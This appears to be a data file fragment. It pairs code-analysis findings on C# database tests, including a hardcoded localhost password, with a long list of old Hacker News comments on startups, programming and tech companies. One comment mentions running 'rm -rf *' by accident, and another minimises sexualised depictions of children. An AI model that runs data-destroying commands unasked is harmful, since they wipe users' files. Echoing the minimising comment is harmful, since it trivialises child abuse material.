\\\" is 162.\", \"The length of the statement  \\\"                var affectedRows = tran.T(\\\"INSERT INTO \\\\\\\"J_Log\\\\\\\" (\\\\\\\"LoginUser\\\\\\\"'\\\\\\\"CreationDate\\\\\\\"'\\\\\\\"Action\\\\\\\") VALUES ( {...} )\\\"' \\\"oger\\\"' DateTime.Now' 1).ExecuteNonQuery(); \\\" is 155.\", \"The length of the statement  \\\"            using (var conn = new NpgsqlConnection(\\\"Server=127.0.0.1;Port=5432;Database=InventoryDB;User Id=inventory_user;Password=sa\\\")) \\\" is 125.\", \"The length of the statement  \\\"                    var sql = \\\"INSERT INTO \\\\\\\"J_Log\\\\\\\" (\\\\\\\"LoginUser\\\\\\\"'\\\\\\\"CreationDate\\\\\\\"'\\\\\\\"Action\\\\\\\") VALUES ( 'oger-me'''2014-06-14 12:38:00'' 1 )\\\"; \\\" is 124.\", \"The length of the statement  \\\"      Assert.AreEqual( db.T( \\\"INSERT INTO Test1 ( Name' Content' [Index] ) VALUES ( {...} )\\\"' \\\"Ivony\\\"' \\\"Test\\\"' 1 ).ExecuteNonQuery()' 1' \\\"\\u63d2\\u5165\\u6570\\u636e\\u6d4b\\u8bd5\\u5931\\u8d25\\\" ); \\\" is 144.\", \"The length of the statement  \\\"      Assert.AreEqual( db.T( \\\"INSERT INTO Test1 ( Name' Content' [Index] ) VALUES ( {...} )\\\"' \\\"Ivony\\\"' \\\"Test\\\"' 1 ).ExecuteNonQuery()' 1' \\\"\\u63d2\\u5165\\u6570\\u636e\\u6d4b\\u8bd5\\u5931\\u8d25\\\" ); \\\" is 144.\", \"The length of the statement  \\\"      Assert.AreEqual( await db.T( \\\"INSERT INTO Test1 ( Name' Content' [Index] ) VALUES ( {...} )\\\"' \\\"Ivony\\\"' \\\"Test\\\"' 1 ).ExecuteNonQueryAsync()' 1' \\\"\\u63d2\\u5165\\u6570\\u636e\\u6d4b\\u8bd5\\u5931\\u8d25\\\" ); \\\" is 155.\", \"The length of the statement  \\\"        Assert.AreEqual( transaction.T( \\\"INSERT INTO Test1 ( Name' Content' [Index] ) VALUES ( {...} )\\\"' \\\"Ivony\\\"' \\\"Test\\\"' 1 ).ExecuteNonQuery()' 1' \\\"\\u63d2\\u5165\\u6570\\u636e\\u6d4b\\u8bd5\\u5931\\u8d25\\\" ); \\\" is 153.\", \"The length of the statement  \\\"        Assert.AreEqual( transaction.T( \\\"INSERT INTO Test1 ( Name' Content' [Index] ) VALUES ( {...} )\\\"' \\\"Ivony\\\"' \\\"Test\\\"' 1 ).ExecuteNonQuery()' 1' \\\"\\u63d2\\u5165\\u6570\\u636e\\u6d4b\\u8bd5\\u5931\\u8d25\\\" ); \\\" is 153.\", \"The length of the statement  \\\"        Assert.AreEqual( transaction.T( \\\"INSERT INTO Test1 ( Name' Content' [Index] ) VALUES ( {...} )\\\"' \\\"Ivony\\\"' \\\"Test\\\"' 1 ).ExecuteNonQuery()' 1' \\\"\\u63d2\\u5165\\u6570\\u636e\\u6d4b\\u8bd5\\u5931\\u8d25\\\" ); \\\" is 153.\", \"The length of the statement  \\\"      db.T( \\\"INSERT INTO Test1 ( Name' XmlContent' [Index] ) VALUES ( {...} ) \\\"' \\\"XML content\\\"' document' 1 ).ExecuteNonQuery(); \\\" is 122.\", \"The length of the statement  \\\"      Assert.AreEqual( document.ToString( SaveOptions.OmitDuplicateNamespaces )' document1.ToString( SaveOptions.OmitDuplicateNamespaces ) ); \\\" is 135.\", \"The length of the statement  \\\"      var entities = db.T( \\\"SELECT Name' Content' [Index] FROM Test1\\\" ).ExecuteDynamics().Select( item => (CorrectEntity) item ).ToArray(); \\\" is 133.\", \"The length of the statement  \\\"      db.T( \\\"INSERT INTO Test1 ( Name' Content' [Index] ) VALUES ( {...} )\\\"' \\\"1900/1/2 13:00:05.276\\\"' \\\"ABC\\\"' 0 ).ExecuteNonQuery(); \\\" is 125.\", \"The length of the statement  \\\"      Assert.AreEqual( db.T( \\\"SELECT TOP 1 Name FROM Test1\\\" ).ExecuteScalar<DateTime>()' new DateTime( 1900' 1' 2' 13' 0' 5' 276 ) ); \\\" is 127.\", \"The method has an empty catch block.\", \"The method has an empty catch block.\", \"The following statement contains a magic number: Assert.AreEqual( logs.Length' 3 );\", \"The following statement contains a magic number: Assert.AreEqual( logs[2].EventName' \\\"OnComplete\\\" );\", \"The following statement contains a magic number: Assert.AreEqual( logs.Length' 2 );\", \"The following statement contains a magic number: query = Db.T( \\\"SELECT * FROM Users WHERE ID = {0}\\\"' 123 );\", \"The following statement contains a magic number: Assert.AreEqual( query.ParameterValues[0]' 123' \\\"\\u5355\\u53c2\\u6570\\u6a21\\u677f\\u89e3\\u6790\\u6d4b\\u8bd5\\u5931\\u8d25\\\" );\", \"The following statement contains a magic number: query = Db.T( \\\"SELECT * FROM Users WHERE ID = {0..0}\\\"' 123 );\", \"The following statement contains a magic number: Assert.AreEqual( query.ParameterValues[0]' 123' \\\"\\u5355\\u53c2\\u6570\\u5217\\u8868\\u6a21\\u677f\\u89e3\\u6790\\u6d4b\\u8bd5\\u5931\\u8d25\\\" );\", \"The following statement contains a magic number: query = Db.T( \\\"SELECT * FROM Users WHERE ID IN ( {0..2} )\\\"' 1' 2' 3 );\", \"The following statement contains a magic number: query = Db.T( \\\"SELECT * FROM Users WHERE ID IN ( {0..2} )\\\"' 1' 2' 3 );\", \"The following statement contains a magic number: Assert.AreEqual( query.ParameterValues.Length' 3' \\\"\\u53c2\\u6570\\u5217\\u8868\\u6a21\\u677f\\u89e3\\u6790\\u6d4b\\u8bd5\\u5931\\u8d25\\\" );\", \"The following statement contains a magic number: Assert.AreEqual( query.ParameterValues[1]' 2' \\\"\\u53c2\\u6570\\u5217\\u8868\\u6a21\\u677f\\u89e3\\u6790\\u6d4b\\u8bd5\\u5931\\u8d25\\\" );\", \"The following statement contains a magic number: Assert.AreEqual( query.ParameterValues[2]' 3' \\\"\\u53c2\\u6570\\u5217\\u8868\\u6a21\\u677f\\u89e3\\u6790\\u6d4b\\u8bd5\\u5931\\u8d25\\\" );\", \"The following statement contains a magic number: Assert.AreEqual( query.ParameterValues[2]' 3' \\\"\\u53c2\\u6570\\u5217\\u8868\\u6a21\\u677f\\u89e3\\u6790\\u6d4b\\u8bd5\\u5931\\u8d25\\\" );\", \"The following statement contains a magic number: query = Db.T( \\\"SELECT * FROM Users WHERE ID IN ( {0..2}' {1} )\\\"' 1' 2' 3 );\", \"The following statement contains a magic number: query = Db.T( \\\"SELECT * FROM Users WHERE ID IN ( {0..2}' {1} )\\\"' 1' 2' 3 );\", \"The following statement contains a magic number: Assert.AreEqual( query.ParameterValues.Length' 4' \\\"\\u6df7\\u5408\\u53c2\\u6570\\u5217\\u8868\\u6a21\\u677f\\u89e3\\u6790\\u6d4b\\u8bd5\\u5931\\u8d25\\\" );\", \"The following statement contains a magic number: Assert.AreEqual( query.ParameterValues[1]' 2' \\\"\\u6df7\\u5408\\u53c2\\u6570\\u5217\\u8868\\u6a21\\u677f\\u89e3\\u6790\\u6d4b\\u8bd5\\u5931\\u8d25\\\" );\", \"The following statement contains a magic number: Assert.AreEqual( query.ParameterValues[2]' 3' \\\"\\u6df7\\u5408\\u53c2\\u6570\\u5217\\u8868\\u6a21\\u677f\\u89e3\\u6790\\u6d4b\\u8bd5\\u5931\\u8d25\\\" );\", \"The following statement contains a magic number: Assert.AreEqual( query.ParameterValues[2]' 3' \\\"\\u6df7\\u5408\\u53c2\\u6570\\u5217\\u8868\\u6a21\\u677f\\u89e3\\u6790\\u6d4b\\u8bd5\\u5931\\u8d25\\\" );\", \"The following statement contains a magic number: Assert.AreEqual( query.ParameterValues[3]' 2' \\\"\\u6df7\\u5408\\u53c2\\u6570\\u5217\\u8868\\u6a21\\u677f\\u89e3\\u6790\\u6d4b\\u8bd5\\u5931\\u8d25\\\" );\", \"The following statement contains a magic number: Assert.AreEqual( query.ParameterValues[3]' 2' \\\"\\u6df7\\u5408\\u53c2\\u6570\\u5217\\u8868\\u6a21\\u677f\\u89e3\\u6790\\u6d4b\\u8bd5\\u5931\\u8d25\\\" );\", \"The following statement contains a magic number: query = Db.T( \\\"SELECT * FROM Users WHERE ID = ( {1} ) AND Status = {0}\\\"' 3' Db.T( \\\"SELECT ID FROM Users WHERE Username = {0}\\\"' \\\"Ivony\\\" ) );\", \"The following statement contains a magic number: Assert.AreEqual( query.ParameterValues.Length' 2' \\\"\\u4e00\\u4e2a\\u53c2\\u6570\\u5316\\u67e5\\u8be2\\u4f5c\\u4e3a\\u53e6\\u4e00\\u4e2a\\u53c2\\u6570\\u5316\\u67e5\\u8be2\\u53c2\\u6570\\u6d4b\\u8bd5\\u5931\\u8d25\\\" );\", \"The following statement contains a magic number: Assert.AreEqual( query.ParameterValues[1]' 3' \\\"\\u4e00\\u4e2a\\u53c2\\u6570\\u5316\\u67e5\\u8be2\\u4f5c\\u4e3a\\u53e6\\u4e00\\u4e2a\\u53c2\\u6570\\u5316\\u67e5\\u8be2\\u53c2\\u6570\\u6d4b\\u8bd5\\u5931\\u8d25\\\" );\", \"The following statement contains a magic number: var query = Db.T( \\\"SELECT * FROM Users WHERE ID IN ( {0} )\\\"' new[] { 1' 2' 3 } );\", \"The following statement contains a magic number: var query = Db.T( \\\"SELECT * FROM Users WHERE ID IN ( {0} )\\\"' new[] { 1' 2' 3 } );\", \"The following statement contains a magic number: Assert.AreEqual( query.ParameterValues.Length' 3' \\\"\\u4ee5\\u5217\\u8868\\u4f5c\\u4e3a\\u53c2\\u6570\\u6d4b\\u8bd5\\u5931\\u8d25\\\" );\", \"The following statement contains a magic number: Assert.AreEqual( query.ParameterValues[1]' 2' \\\"\\u4ee5\\u5217\\u8868\\u4f5c\\u4e3a\\u53c2\\u6570\\u6d4b\\u8bd5\\u5931\\u8d25\\\" );\", \"The following statement contains a magic number: Assert.AreEqual( query.ParameterValues[2]' 3' \\\"\\u4ee5\\u5217\\u8868\\u4f5c\\u4e3a\\u53c2\\u6570\\u6d4b\\u8bd5\\u5931\\u8d25\\\" );\", \"The following statement contains a magic number: Assert.AreEqual( query.ParameterValues[2]' 3' \\\"\\u4ee5\\u5217\\u8868\\u4f5c\\u4e3a\\u53c2\\u6570\\u6d4b\\u8bd5\\u5931\\u8d25\\\" );\", \"The following statement contains a magic number: Assert.AreEqual( query.ParameterValues.Length' 3' \\\"\\u4ee5\\u5f15\\u7528\\u7c7b\\u578b\\u6570\\u7ec4\\u4f5c\\u4e3a\\u53c2\\u6570\\u6d4b\\u8bd5\\u5931\\u8d25\\\" );\", \"The following statement contains a magic number: Assert.AreEqual( query.ParameterValues[2]' \\\"3\\\"' \\\"\\u4ee5\\u5f15\\u7528\\u7c7b\\u578b\\u6570\\u7ec4\\u4f5c\\u4e3a\\u53c2\\u6570\\u6d4b\\u8bd5\\u5931\\u8d25\\\" );\", \"The following statement contains a magic number: query = Db.T( \\\"SELECT * FROM Users WHERE ID IN ( {0}' {1}' {2} )\\\"' new object[] { 1' 2' 3 } );\", \"The following statement contains a magic number: query = Db.T( \\\"SELECT * FROM Users WHERE ID IN ( {0}' {1}' {2} )\\\"' new object[] { 1' 2' 3 } );\", \"The following statement contains a magic number: Assert.AreEqual( query.ParameterValues.Length' 3' \\\"\\u4ee5object\\u6570\\u7ec4\\u4f5c\\u4e3a\\u53c2\\u6570\\u6d4b\\u8bd5\\u5931\\u8d25\\\" );\", \"The following statement contains a magic number: Assert.AreEqual( query.ParameterValues[1]' 2' \\\"\\u4ee5object\\u6570\\u7ec4\\u4f5c\\u4e3a\\u53c2\\u6570\\u6d4b\\u8bd5\\u5931\\u8d25\\\" );\", \"The following statement contains a magic number: Assert.AreEqual( query.ParameterValues[2]' 3' \\\"\\u4ee5object\\u6570\\u7ec4\\u4f5c\\u4e3a\\u53c2\\u6570\\u6d4b\\u8bd5\\u5931\\u8d25\\\" );\", \"The following statement contains a magic number: Assert.AreEqual( query.ParameterValues[2]' 3' \\\"\\u4ee5object\\u6570\\u7ec4\\u4f5c\\u4e3a\\u53c2\\u6570\\u6d4b\\u8bd5\\u5931\\u8d25\\\" );\", \"The following statement contains a magic number: query = Db.T( \\\"SELECT * FROM Users WHERE ID IN ( {0}' {1}' {2} )\\\"' new[] { 1' 2' 3 } );\", \"The following statement contains a magic number: query = Db.T( \\\"SELECT * FROM Users WHERE ID IN ( {0}' {1}' {2} )\\\"' new[] { 1' 2' 3 } );\", \"The following statement contains a magic number: Assert.AreEqual( query.ParameterValues.Length' 3' \\\"\\u4ee5\\u503c\\u7c7b\\u578b\\u6570\\u7ec4\\u4f5c\\u4e3a\\u53c2\\u6570\\u6d4b\\u8bd5\\u5931\\u8d25\\\" );\", \"The following statement contains a magic number: Assert.AreEqual( query.ParameterValues[1]' 2' \\\"\\u4ee5\\u503c\\u7c7b\\u578b\\u6570\\u7ec4\\u4f5c\\u4e3a\\u53c2\\u6570\\u6d4b\\u8bd5\\u5931\\u8d25\\\" );\", \"The following statement contains a magic number: Assert.AreEqual( query.ParameterValues[2]' 3' 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Not an auspicious launch for a $41 million startup.\", \"Scheme(or LISP dialects in general) is not just functional; it's multiparadigm. It sure is trippy, but gives a very solid foundation for later stages of academic and professional life.\", NaN, \"A domain is an asset, why would it be worth notably less after a few years if the startup were to fail?\", NaN, \"There are many different ways of thinking about mathematical concepts like derivatives. The more you know, the more deeply you know them, the better.<p>Here's a random example: Marsden and Weinstein define derivatives in their out-of-print textbook Calculus Unlimited without limits. The tangent to a graph at the point x is the boundary between two line pencils, one of lines entering the epigraph at x, the other of lines leaving. There's no limit-taking of chords. It's a simple and neat definition that connects with classical notions of tangency.<p>In his essay On Proof and Progress in Mathematics, Thurston lists a dozen other definitions or conceptions of derivatives in his personal arsenal, some very sophisticated. But even those among his definitions that are elementary and have roughly the same scope there is a difference in their psychological affordances, and that can make all the difference.\", \"As an aussie I can't say I'm surprised.  The police hardly have time for a stolen car anymore, let alone a laptop.\", \"Oh, and btw, we're not a Groupon clone.  We're more of a Gilt for great design across a wide range of products.  There's a big, big difference between the Groupon-style deal-of-the-day sites and the Gilt-style flash sale sites.\", \"Hmmmm ... from the founder (me).<p>We're getting 2k pre-launch signups per day, 26k total in just 13 days, so this \\\"crap\\\" works to build pre-launch buzz and subscribers for your startup.<p>You may want to take a look at the viral tools we built at <a href=\\\"http://fab.com\\\" rel=\\\"nofollow\\\">http://fab.com</a> that are generating these 2k signsup per-day.  A lot of pre-launch startups can learn from them.<p>And, for our business model, it's very important that we control the number of people allowed in at the beginning, as it is a private-sales site.\", \"I like these rules. I can`t agree more with you about applying to people`s self-interests. I think that principle \\\"I`ll scratch your back if you scratch mine\\\" is very powerful. When friends receive your request for help they will often look for a reason to help you. So, it might be a good rule to give them in your request an answer to WIIFM. \\\\nBTW, I experienced the truth of #45 - Preach the Need for Change, but Never Reform too much at Once. We are creatures of habit and hate when someone threatens them.\", \"Formsly is a web-app which offers individuals and businesses alike the ability to generate a feature-rich 'Contact Us' Page for their websites without without any coding knowledge. Users simply use the dashboard to configure their page, and then it generates the code for integration into their website.<p>Users can configure their Contact Pages to have Integration of Google Maps, GPS Co-ords, and Turn-by-Turn or Printable Navigation. It also allows them to list multiple offices or branches/stockists, and create Email Forms which can be routed to different departments. Users can integrate their Twitter feed and add links to their profiles on all major social networks. There's an analytics function as well as the ability to embed live support systems is required by the user.<p>The idea behind this product is to provide users with a feature-rich alternative to online form generators, and allow them to create a more engaging Contact Page without needing to hire web developers to add the functionality which we provide.<p>There are currently two plans - Free and Premium (99 cents monthly / 9.99 USD annually).<p>The product is currently live and functioning at www.Formsly.com. I'd really appreciate any discussion and feedback regarding Formsly. Thanks!\", \"Yeah the down vote response was funny. It's as if cute girls in tech(replace with almost anything that is male dominated) aren't praised by males. Aside from her being an outlier, I think that the site is well designed and witty and makes a good case for her to be hired by instagram or anyone else.<p>Are websites with vanity urls the new cover letters?<p>www.f*&kCompanyAIloveCompanyZ.org\", \"A lot of this is relative.  If you are used to a 30 person company, yes, there's more politics.  Compared to where I came from (a 300,000 person company), Google is much, much better. (And if you think the politics are bad in companies, its nothing compared to the politics in a university's I/T department.  Why?  Perhaps because there's less at stake...)<p>I've worked for a university (MIT), a startup (VA Linux), a big company (IBM), and compared to my past employers, I've easily found Google to be the best for me.  Others may find the environment at a 30 person, 300 person, or 300,000 person company more congenial.  A lot of it is personal preference...\", \"We are at the precipitous. This changes everything.<p>Feels epic. We're here.\", NaN, \"But after you learn C you have a ton of stuff to <i>unlearn</i> before you can use Scheme properly.\", \"$=0;<p>:p\", \"> though I may be overestimating its difficulty.<p>The difficulty could be due to the brain damage C++ causes. Before I get incinerated, I have to remind you of Dijkstra quote about BASIC (\\\"mutilates the mind beyond recovery\\\").<p>Both BASIC and C++ (and Java, Smalltalk and so on) fixate several ideas about computing that make it harder to understand very different concepts. In a sense, that qualifies as mild brain damage.<p>I learned programming with BASIC on an Apple II+, went through FORTH (GraFORTH), C, Pascal, APL (The write-only language) and FORTRAN (in college) and later learned OOP with Smalltalk (and worked a bit with Actor). Did a lot of VB too (I had bills to pay), Perl, Java and Python. For obvious reasons, I don't completely agree with Dijkstra on the BASIC thing. I never liked C++ much, possibly because I learned OOP with Smalltalk and C++'s OOP seemed to me a misappropriation of the acronym. All things considered (it took me 8 years and a job offer to decide to learn C++) Smalltalk damaged me beyond recovery.\", \"<i>\\u201cmost of the goodness is actually in, or just below the skin\\u201d</i> from <a href=\\\"http://www.carrotmuseum.co.uk/nutrition.html\\\" rel=\\\"nofollow\\\">http://www.carrotmuseum.co.uk/nutrition.html</a><p>Never seen Baby Carrots, but if they are \\u201ccarved\\u201d from regular carrots, it sounds like they already lost some of their nutritional value.\", \"Brilliant writing :-)\", NaN, \"A long-known but little-discussed vulnerability in the modern Internet's design was highlighted yesterday by a report that hackers traced to Iran spoofed the encryption procedures used to secure connections to Google, Yahoo, Microsoft, and other major Web sites.\", NaN, NaN, \"\\\"WARNING: DON'T LAUNCH COLOR ALONE.\\\"<p>I like the concept, but, if you require people to organize themselves in order to set up their first use experience, you are in big trouble.\", \"Not harder to type than @, I think.\", \"Thank you all. Decided to make a start.\", \"I did on the C64, prob more than 1K mind you.<p>It allowed you to create a bordered window of any size and colour, write text directly to it and when it was closed, as if by magic, the text that was behind it was still there!  I think you could have 8 such windows open at the same time.<p>I was rather pleased with it at the time.\", \"Give it 2 years.\", \"you are right - the essence of freedom of speech is not that all speech should be allowed all the time and everywhere, but that \\\"speech regulation\\\" has to be decentralized via voluntary contracts between property owners\", \"About one decade. I'm still an MIT affiliate. Admissions has not changed, in this regard, since. There have been a lot of other changes (the students now are better rounded and better looking than when I was a student), but this is not one of them.<p>MIT Admissions intentionally takes high risks. They admit a number of students at the extremes who may end up very bad or very good. The risks don't always pay off (we had a few real idiots), but the policy is actually quite sound. MIT's name comes from it's most famous graduates -- the Feynmans, Aldrins, Metcalfes, and Kurzweils -- the cost of having a number of bad or flaky graduates is rather low -- only the people who work with them ever hear about them.\", \"Wow, first run of the app actually managed to make my phone reboot! Haven't seen anything like that before. Furthermore, I had no idea what I was doing or getting myself into when snapping a photo of myself and 'posting' it (after which the app crashed and my phone rebooted).<p>So this is the android-part of something that got 41 million in funding? Pretty interesting.\", \"That's clever. Love the back stories created and little vignettes into these characters. Well done sir, well done.\", \"Just like every other online subscription, including SaaS?\", \"Maybe they did. The general public has no way of knowing what Color's investors have seen.\", NaN, \"Not a good use case. Long shot.\", \"Would love to chat, sounds like what we are doing with Pixamid.\", \"~username has generally meant \\\"a folder belonging to username\\\".<p>In non-threaded discussion boards, and I believe some older message boards @username was used to direct a particular portion of your message at a specific recipient while still keeping the message public.<p>I keep seeing lots of hate for the proliferation of \\\"twitter's\\\" @mention syntax, but its use predates twitter by a loooooong way.\", \"This article references a HN comment[1] that suggests that all TripAdvisor developers have root access to all servers<p>[1] <a href=\\\"http://news.ycombinator.com/item?id=1620324\\\" rel=\\\"nofollow\\\">http://news.ycombinator.com/item?id=1620324</a>\", \"we fix it)\", \"Exactly... they are only creating more of a problem, in that everyone now uses different methods to take, store and share photos. And no one organizes photos, so it is a huge mess. If only someone could address that... \\\\noh wait, we do. For less than half of what Color spent on a domain name, we build our Pixamid app...\", \"> a white-coated staff has been experimenting with a future phase of the campaign: flavors.<p>And that's the point at which baby carrots really do become junk food.\", NaN, \"update: I can't, its taken. But I've been offered colour.com for \\u00a3350k, I'm considering it.\", NaN, \"It really depends on what project you're working on at Google.  Some are so secret you can't even reveal their name, or even what general area that they are in.   Others are done completely in the open.   For example, if you work on Chrome or Chrome OS, most of what people work on is available in public repositories.<p>I work on the production kernel for our data centers, and most of what I do is completely public.   In fact at the moment I am working on a way to decrease seek overhead when writing large files to ext4, and I have been releasing the in-progress patchsets for review and comment both in and outside Google.   Why?  Because I've gotten some really valuable comments both at the design level, and \\\"spot the stupid bug\\\" level, both inside and outside of Google.<p>That being said, there are some really cool things that are only available inside the Google kernel.  For example, we can track every read, write, and seek operation at the hardware level, and tell you whether it is metadata or data, what application was responsible for issuing the request, and then correlate this information across multiple machines and in fact across the entire data center, and give you a single high-level view of your map reduce, or your application homed on hundreds of machines, so you can see how it is actually using all of the disk spindles associated with that job.  And its overhead is small enough that we can leave it running by default, as opposed to only turning it on during debugging/benchmarking runs (ala blktrace).<p>Why haven't we shared this with the external world?  Well, part of it is because it depends on infrastructure which is Google-specific, but the main reason is because we can't find the right people to help us clean up the code so it would be mainline acceptable, disentangle the Google-specific enhancements, negotiate with the upstream Linux kernel maintainers whose subsystems are touched by this code, and get it into mainline kernel.   And for most of these kernel enhancements (of which this is only one), we _want_ to get them upstream, because every single one of these enhancements (while they are really cool and there is no way we would give them up), makes it harder for us to rebase the kernel so we can get the latest enhancements from upstream.   More people using it means we hopefully will get a community of people collaborating to make the technology better --- which means free engineering help for us!  :-)<p>The problem is headcount; we need to staff up this and other projects before we can do things like push more of these Google-specific enhancements upstream to the Linux kernel.  (Some of it is happening now, slowly, but we have lots of other production and release priorities which take precedence.)  Unfortunately, it's really hard to find Systems People who are interested and willing to do low-level Linux kernel programming, and can also see the \\\"big picture\\\" systems issues.<p>So if you think you're a hotshot Systems designer who is not afraid to get their fingers dirty coding low-level Linux kernel code, we're hiring (and not just in storage, although that's my area; contact me).  And if you come to work at Google, you may be surprised at how much you can talk to your friends about, and even publish as a paper at a conference.  Yes, there is plenty of stuff about features under development in Google Docs, Search, Android, that you'll be able to play with as an early dogfooder, and that stuff you won't be able to share with your friends.  And some stuff we can't share because it would harm our relationship with our hardware partners --- but even there, Google has published a paper at FAST describing the failure rate and patterns of hard drives (although we anonymized the specific names of the disk drive manufacturers involved, for obvious reasons).<p>I'm surprised people think this is such a big deal, actually, because invariably there is some stuff that you have to keep secret at all companies.  I found that there was more stuff related to my day-to-day work which I had to keep quiet at my former employer, IBM, than I am here at Google.  And I'm sure that Apple engineers would be even more constrained!\", \"Clickety click: <a href=\\\"http://www.cygamerentals.com\\\" rel=\\\"nofollow\\\">http://www.cygamerentals.com</a>\", \"Perhaps I was unclear. I had crappy grades in high school. High school homework was a pointless waste of time, so I didn't do it. I had good grades in 3 of 4 of my university math classes. Homework there was interesting and not a waste of my time, so I did it. When I hit MIT, my grades skyrocketed, because with a small number of exceptions, the classes were fun, and the problem sets were interesting and useful.<p>I did poorly in my first class -- I didn't realize this immediately -- I don't believe I sent a university transcript to MIT admissions, but if I did, they would have seen one bad and one good early, and one bad and two good normal admissions.\", NaN, \"Since our tiny 4 person startup built a photo sharing app with very similar core ideas, I was scared shitless this morning on first reading about Color.<p>That passed. Wrote it all up on the blog, but here is what I think they have wrong and our Pixamid has right:<p>Privacy: I think most people want to more privacy on their photos, not less. If the camera can sense who you are with (like Pixamid and Color try), by default, share ONLY with those people. By default, Pixamid shares with only your friends at he same place as you - you can choose to share with everyone there too.<p>Network Effects:  Color\\u2122 might be cool in a world where everyone uses Color\\u2122. But we don\\u2019t see such a world anytime soon. People will use lots of different apps: Instagram, Facebook, Flickr, Twitter, Picasa -hell, even Ofoto (thanks Mom). We want to pull in your friends\\u2019 photos from any of these services, automatically as much as possible. See our post below about the Instagram magic we do; we\\u2019re dong a lot more of this cool stuff now.<p>Addressing a real problem: We are all taking more photos with our great phone cameras. But we hate to organize our photos. And if we add in Friend photos, it is even worse. Users of Pixamid get automagical photo organization as a byproduct of using the app. Each set of photos, with place, event, and who you were with. The things we will do with this in the future - can\\u2019t wait to show everyone! But we believe that our solution will revolutionize how people share photos online.<p><a href=\\\"http://blog.pixamid.com/post/4060807527/the-color-tm-challenge\\\" rel=\\\"nofollow\\\">http://blog.pixamid.com/post/4060807527/the-color-tm-challen...</a>\", \"I may be a little late to the party but from my understanding:<p>> a paywall where you can only view 20 articles<p>..they are probably using some sort of cookie to track how many articles you have read? Then you need no lines of code at all. Just don't accept the tracking cookies.\", \"A general problem with n-gram is the conundrum of data-sparseness vs reliability of estimation. To have reliable estimation, you need larger order n in n-gram, but it also increases the size of the model which requires larger amount of data and storage. Thanks to the Web as a corpus and cloud computing, we now have upto 5-gram models computable on Terabytes of data provided you are resourceful. One problem with this approach is the selection of the web data to be used for training. The better adaption to the target scenario, the better accuracy.<p><pre><code>  i see no services that make use of this.\\\\n</code></pre>\\\\nMost services have proprietary implementations of spell correction that is an amalgamation of several techniques including n-grams, and they might not like to make it public.\", \"It seems there are already apps for that <a href=\\\"https://market.android.com/details?id=com.forgottenprojects.mocklocations\\\" rel=\\\"nofollow\\\">https://market.android.com/details?id=com.forgottenprojects....</a>\", \"I got a new phone number three weeks ago and I still haven't memorized my own phone number.\", NaN, \"Thanks for vimgrep.  I didn't know about that.\", \"Clicktastic - <a href=\\\"http://epihu.com\\\" rel=\\\"nofollow\\\">http://epihu.com</a>\", \"Enjoying lolicon will turn you into child rapist like enjoying FPS turned me into ruthless murder.<p>You have to be biologically screwed in the head to rape children or kill people for pleasure. I don't know why people create an impression that average Joe could enjoy 8 year old kid if given a chance.\", \"Dicks, mostly.\", \"We had that \\\"news\\\" several times already (i.e. it's a dupe of a dupe by now) and - as commented here again, it seems to be blatantly wrong/false.<p>The linked article differs with every submission, but always repeats the \\\"that guys seems to have fled\\\" thing.\", \"Ok, we fix it)\", \"This all looks like superb advice - again, thanks!<p>- I will order 'Selling to Big Companies' tonight.<p>- Will make sure we all have a clear idea of the sales pipeline, targets<p>- Yes I have looked at the legal and trading issues - am being advised by a 'Big 4' firm who know the pitfalls<p>- Point about time to sell to large organisations is well taken. In fact part of the appeal of the system is that it gets round many of these problems.<p>- Am currently in discussion with some much larger established companies re licencing and distribution (one in London, one in Boston). They both love the product but are moving very slowly. I want to have a separate distribution channel as it's not clear at present which is going to succeed. However, having a distributor would certainly be easier than flying Australia-US each time a sales prospect needs me there!<p>- I really like the idea of low retainer/high commission. The business model is to charge a recurring subscription, so paying a high commission based on the first year's revenue won't impact so much on future cash flow.<p>- No equity on the table until they have proved themselves! At present I own 100% of the company (bootstrapped), but would consider giving someone with complementary skills in sales a portion of this if they had proved they could boost the company's value.\", NaN, \"You've got a few competitors here. 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Patio11 is out in Nagoya though I think, which might make things a bit difficult.<p>If anyone in Japan is interested in this, please contact me through my email address, and I'll organise a small event.\", \"A little comment on the Ghent mayor's office intentions:<p>The normal way of doing things is this: When a police officer notices an illegally put up poster, he has to do all the necessary paperwork to aid the public prosecutor in his legal actions against the person or organisation who put up the poster. That's, if the responsible person or organisation is known. If not, the police officer will have to do some inverstigative work. \\\\nAfter that it has to go to trial and could cost the defendant 120 EURO per poster, while costing the community much much more. (cleaning, police hours...)<p>You can see the means and hours that would have to go into this...for a poster. Still, the city wants to get rid of the problem. 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I intend to follow up with a better example.<p>In the case of logging, an observer may or may not be appropriate depending on the specifics of your application. In your Go app, it sounds like a NotificationObserver makes perfect sense.<p>The broader point that I was trying to make in the article was that coupling all of your business logic to your persistence objects is a bad idea. It couples all of the concerns together, and with larger codebases, makes for slow tests and code that's difficult to reason about and debug.<p>If your business logic lives outside of your persistence layer, service objects can be a great way to coordinate several objects necessary to complete some user action. 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This can really come in handy in a distributed system working over a network. (PUT and DELETE have this property, POST does not) Also, when intermediaries can understand what you're doing, they can handle caching much better, invalidating what they must, etc. Again, POST does not give you that luxury.\", \"The choice of what snapshot to mount is part of the boot process, as chosen by grub. Nexenta's apt-clone creates a new snapshot for every system upgrade and adds a new boot entry for rolling back in case it doesn't work.\", \"Did that version of BSD have secure levels? Updating systems where the system binaries are marked immutable can sometimes be a pain; but the comfort level it provides is remarkable.\", \"Perhaps just use shells with more builtin commands? Something like busybox. So if you ever do rm -rf * and don't close your shell you still have all the basic utilities available.\", \"\\\"most of the people in the video didn\\u2019t know that they were becoming part of a viral video.\\\"<p>If we only knew the formula for viral videos, ad agencies would be all over that. Unfortunately/Luckily, there is no such formula..\", \"When reading about interviews I always remember about a study mentioned in \\\"What Colour is Your Parachute?\\\"  They said that HR professionals selecting candidates had a slightly LESS success rate than completely random choices when looking at the candidates' performances 6-12 months later.<p>The idea to always \\\"hire people smarter than you\\\" has never really made sense to me.  If you always hire people smarter than you, won't everyone eventually realise they're working for an idiot and leave?<p>The people I've enjoyed working the most for have been people around the same intelligence as me, IMO.\", \"Because they are root and those are just files.<p>Perhaps they need to alias rm to 'rm -I' (-I : prompt once before removal)? I remember one of the MandrakeLinux versions had that enabled by default many years ago. It saved me a couple of times when I was still a Unix noobie.\", \"Ok, bad example.<p>Imagine an item for sale that has 100KB of text as a description.  Does it really make sense to link to the description text rather than keep it along with the name, price, etc?<p>Does it make sense to update it every time from say, a mobile client?\", \"As is, I believe, jrockway (<a href=\\\"http://news.ycombinator.com/user?id=jrockway\\\" rel=\\\"nofollow\\\">http://news.ycombinator.com/user?id=jrockway</a>)?\", \"That would have interesting implications. If Google relocated a large number of 